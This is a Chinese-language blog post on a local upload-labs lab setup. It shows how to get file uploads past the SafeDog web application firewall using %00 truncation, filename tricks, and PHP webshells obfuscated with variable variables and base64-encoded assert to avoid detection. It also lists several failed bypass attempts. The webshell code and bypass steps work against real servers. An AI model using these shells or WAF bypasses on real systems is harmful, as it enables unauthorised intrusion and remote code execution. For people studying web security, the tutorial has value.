首页 > 其他分享 >文件上传10种waf绕过姿势

文件上传10种waf绕过姿势

时间:2024-09-18 15:12:30浏览次数:10  
标签:10 00 文件 waf 木马 绕过 php 上传

基础篇:https://mp.weixin.qq.com/s/od0djMG4iwO755N2YgDAHg

环境搭建

首先去官网下载安全狗,进行网站配置,或者后台回复【安全狗】,靶场源码和waf软件都准备好了,都是最新版本的,直接下载就行

image-20240719140734087

image-20240718104030558

安全狗配置文件防护规则

image-20240718103951676

这里用upload-labs中的第六关进行文件上传测试

image-20240720125729066

第六关是在文件后缀添加一个空格就可以上传成功

image-20240718112107859

waf环境已搭好

image-20240718110902299

WAF绕过

基于文件名称的绕过

%00截断

首先上传一个php文件,抓包文件后面添加;.jpg

image-20240718152245564

;hex编码替换为00,造成00截断,如下效果

知识扩展

%00截断是一种在文件上传或URL处理过程中常见的安全绕过技术,它利用了某些编程语言或系统在处理字符串时的一个特性:即当遇到空字符(null character,ASCII码为0,即\0%00在URL编码中)时,会认为字符串已经结束,从而忽略了空字符之后的所有内容。

7月18日

可以看到,虽然绕过了waf还是有代码红色警告没有上传成功,这个时候我们就可以在原来有代码漏洞的情况下,进行绕过,原来代码存在空格绕过,这里我们就用空格进行绕过,添加一个空格

image-20240718162542359

上传成功,点击查看源码,就可以看到文件上传的位置(这个图片的位置)

image-20240718162636761

多个等号

这个操作就更简单了,直接在文件名的位置把一个等于换成多个等于,也能绕过WAF,此时再在末尾加空格,直接成功上传,如下

image-20240720135548593

哈哈,没有成功,原文是这样写的,可能已经修复了

image-20240720135621668

基于内容拦截绕过

此时我们访问,这个php文件被拦截了,这就是基于内容的拦截,像经常使用的一句话木马都会被安全狗绕过

image-20240718162708072

[1].畸形传参木马

这里要用到hackerbox谷歌插件或者使用火狐浏览器,默认下载不是破解的,我准备好了破解版本,后台私信【hackbox】即可

<?php
    $a = $_GET['x'];
    $$a = $_GET['y'];
    $b($_POST['z']);//调用 $b 变量所引用的函数,并将 $_POST['z'] 的值作为参数传递给它。
 
?>

image-20240718171010670

我们所使用的一句话木马是市面上最为常见的类型,因此几乎所有的WAF(Web应用防火墙)都能识别并拦截这段内容。这正是导致我们上传后无法访问的根本原因。为了验证这一点,你可以尝试开启安全狗的木马扫描功能,看看它是否能被检测出来,从而判断其是否具备免杀能力。

image-20240718171355888

上图可以看到并没有检测到,用get方式传如参数x和y,值分别为bassert ,再用POST方式传如参数z,值为自己想执行的命令

image-20240718172741594

[2].经典编码木马

通过assert函数的base64编码后的拼接即可绕过,如下:

<?php
$e=base64_decode("hellow小羽网安");
$e($_POST['aa']);
 
?>

免杀情况

image-20240718173634220

我们将中文放在了后面,此时出现拦截

image-20240718175622965

我放在前面试试,还是拦截

image-20240718175552240

穿插进去,就可以了,不知道是什么原理,php特性、base64编码检测,还是安全狗防护机制,有大佬路过指教一下,谢谢你

image-20240718175858301

执行成功

上面的绕过方式不可避免都有一些问题,那就是传参时使用了敏感关键字,比如phpinfo()之类的,有一些防火墙就会检测传入的参数是否含有敏感内容(例如宝塔),那这时候我们怎么办呢?

我们可以把传参使用的敏感关键字变成其他编码格式,比如base64,再在一句话木马中对传入的参数先做一个解码操作,如下

在木马中添加解码操作

<?php
 
$e=base64_decode("YX小羽网安NzZ公众号XJ0");
 
$e(base64_decode($_POST['aa']));
 
?>

image-20240718192250481

这个时候我们就可以将phpinfo拿去base64进行加密

image-20240718192501792

这个时候就可以执行php代码了,绕过了关键字的检测

image-20240718192453335

其他失败案例参考

复写

image-20240720140100835

失败

image-20240720140431290

脏数据绕过

image-20240720140121421

失败

image-20240720140334677

修改为单引号

image-20240720141030785

失败

image-20240720141130658

去掉双引号

image-20240720141224174

失败

image-20240720141247298

.php放到引号的外面

image-20240720141650023

上传成功,但是并没有这个php文件

image-20240720141633479

查看上传之后的文件,并不是php文件

image-20240720141852180

那不加后缀试试,显示文件内容,并没有执行

image-20240720141956246

所以使用蚁剑也连接不了

image-20240720142134501

数据截断绕过-防匹配(; / 换行)

image-20240720142300053

失败

image-20240720142319551

参数多次

失败

image-20240720142441707

总结

本教程通过实际搭建环境,展示了文件上传中WAF的多种绕过技巧,包括%00截断、畸形传参木马、经典编码木马等。尽管部分绕过方法因WAF更新而失效,但实验过程揭示了安全机制与绕过技术的博弈。通过不断尝试与创新,攻击者总能找到新的突破点,而防御方则需持续更新策略以应对新威胁。这强调了持续安全监测与加固的重要性。

网安学习不迷路,欢迎各位大佬加入讨论

90dff4ff3a1f12bdbdaca0c3f1c0931

标签:10,00,文件,waf,木马,绕过,php,上传
From: https://www.cnblogs.com/xiaoyus/p/18418571

相关文章

  • FIT1054 - Fantasy Football League
    A2a- FIT1054- Fantasy Football League0  |Welcometothe FFL  | ⚽Fantasy Football LeagueInthisassignment,youwillembarkonanexciting journey ofcreatingaFantasy Football League systemusingvariousdatastructuresandalgorithms......
  • P11071 「QMSOI R1」 Distorted Fate
    介绍一种好想、在线、空间小、跑的还挺快的做法(?)先暂时不考虑修改,只考虑怎么快速求解询问。询问相当于区间内前缀按位或的和。根据按位或的性质,当区间内某个值在某一位下是\(1\),那么所有包含这个值的前缀的按位或结果在该位下都为\(1\)。考虑拆位,单独考虑每一位对答案的贡献,......
  • 10 分类图与设计类图
    分析类图与设计类图是软件开发过程中不同阶段使用的两种重要工具,它们之间存在明显的区别。以下是对这两种类图区别的详细阐述:一、定义与目的分析类图:定义:在需求分析阶段,类图主要用于描述应用领域中的概念。类图中的类从领域中得出,即这些类是从需求中获取的。目的:分析类图的......
  • Windows 10 使用SMTP向QQ邮箱发送邮件
    一、QQ邮箱开启SMTP服务登录QQ邮箱网页版:https://mail.qq.com。进入设置:右上角点击“设置”图标(齿轮图标)。在下拉菜单中选择“账户”。开启SMTP服务:在“账户设置”页面下,找到“POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务”。点击“开启”旁边的“POP3/SMTP......
  • zblog上传安装主题插件不成功的原因和解决办法
    当在Z-Blog中上传安装主题或插件不成功时,可能的原因有很多。下面列出了一些常见的原因及相应的解决办法:1.文件大小超出限制问题描述:上传的文件包可能超出了服务器允许的最大文件大小。解决方法:检查后台的“全局设置”中的“允许上传文件的大小”,并适当增大这个值。如果......
  • zblog水印插件上传图片提示getimagesize(tem/phpOMxjlk)错误
    当在Z-Blog中使用水印插件上传图片时出现 getimagesize(tem/phpOMxjlk) 错误,这通常意味着 getimagesize 函数在处理图片时遇到了问题。这个错误可能是由以下几个原因引起的:1.图片文件不存在或路径错误问题描述:getimagesize 函数尝试访问一个不存在的文件或路径错误。......
  • zblog如何解决图片上传不显示
    当在Z-Blog上遇到图片上传后不显示的问题时,可以尝试以下几种方法来解决:检查图片文件格式:确认上传的图片格式是Z-Blog支持的格式,通常支持JPEG、PNG和GIF等格式。使用图像编辑工具重新保存图片,确保其格式正确且未损坏。检查文件大小:确认上传的图片文件大小没有......
  • zblog上传文件出现未知错误 大小不能超过200k
    当您在使用Z-Blog上传文件时遇到“未知错误”,并且发现上传的文件大小不能超过200KB,这通常是由几个因素造成的。下面是一些可能的原因及解决方法:1.检查PHP配置问题描述:PHP的配置限制了上传文件的大小。解决方法:编辑服务器上的 php.ini 文件,增加 upload_max_filesiz......
  • zblog水印插件上传图片提示getimagesize
    当您在使用Z-Blog的水印插件上传图片时遇到 getimagesize 的错误提示,这通常意味着PHP在尝试获取图片信息时出现了问题。getimagesize 函数用于获取图像尺寸和其他信息,如果它无法正常工作,可能是由于以下几个原因:文件类型不支持:getimagesize 不支持所有类型的图像文件。......
  • Z-blog上传文件时出现未知错误
    当在使用Z-Blog上传文件时遇到未知错误,可以尝试以下几个方面来诊断和解决问题:检查文件格式:确保上传的文件格式是Z-Blog支持的。常见的支持格式包括JPEG、PNG和GIF。如果你上传的是其他格式的文件,可能就会导致上传失败。检查文件大小:Z-Blog对上传文件的大小有一定的......